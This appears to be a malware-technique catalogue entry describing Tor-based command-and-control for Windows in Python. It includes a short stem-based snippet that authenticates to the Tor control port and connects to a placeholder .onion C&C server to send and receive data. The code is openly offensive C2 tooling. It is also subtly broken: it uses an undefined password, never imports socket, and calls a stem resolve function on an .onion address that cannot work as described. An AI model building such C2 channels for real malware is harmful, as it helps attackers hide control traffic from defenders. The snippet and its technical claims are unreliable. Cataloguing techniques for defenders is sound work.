Windows Python / Tor Network C2
Author | Thomas Roccia (fr0gger) |
Platform | Windows |
Language | Python |
Technique | Tor Network C2 |
Description:
This code uses the stem library to connect to the Tor control port and authenticate with the control password. It then creates a new circuit to the specified C&C server and resolves its address using stem.util.connection.resolve_address(). The code then establishes a connection to the C&C server over the Tor network and sends and receives data from it.
Code
import stem
import stem.connection
import stem.util.system
# Replace with the address of your C&C server
cc_server = "xyzabc123.onion"
# Connect to the Tor control port
control_socket = stem.socket.ControlPort(port = 9051)
# Authenticate with the Tor control port
stem.connection.authenticate_password(control_socket, control_password)
# Start a new circuit to the C&C server
circuit_id = stem.control.Controller.from_port(port = 9051).new_circuit(path = [], await_build = True)
# Resolve the C&C server's address
cc_server_ip = stem.util.connection.resolve_address(cc_server)
# Connect to the C&C server
cc_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cc_socket.connect((cc_server_ip, 80))
# Send data to the C&C server
cc_socket.sendall(b"hello")
# Receive data from the C&C server
data = cc_socket.recv(1024)
Created
December 13, 2022
Last Revised
April 22, 2024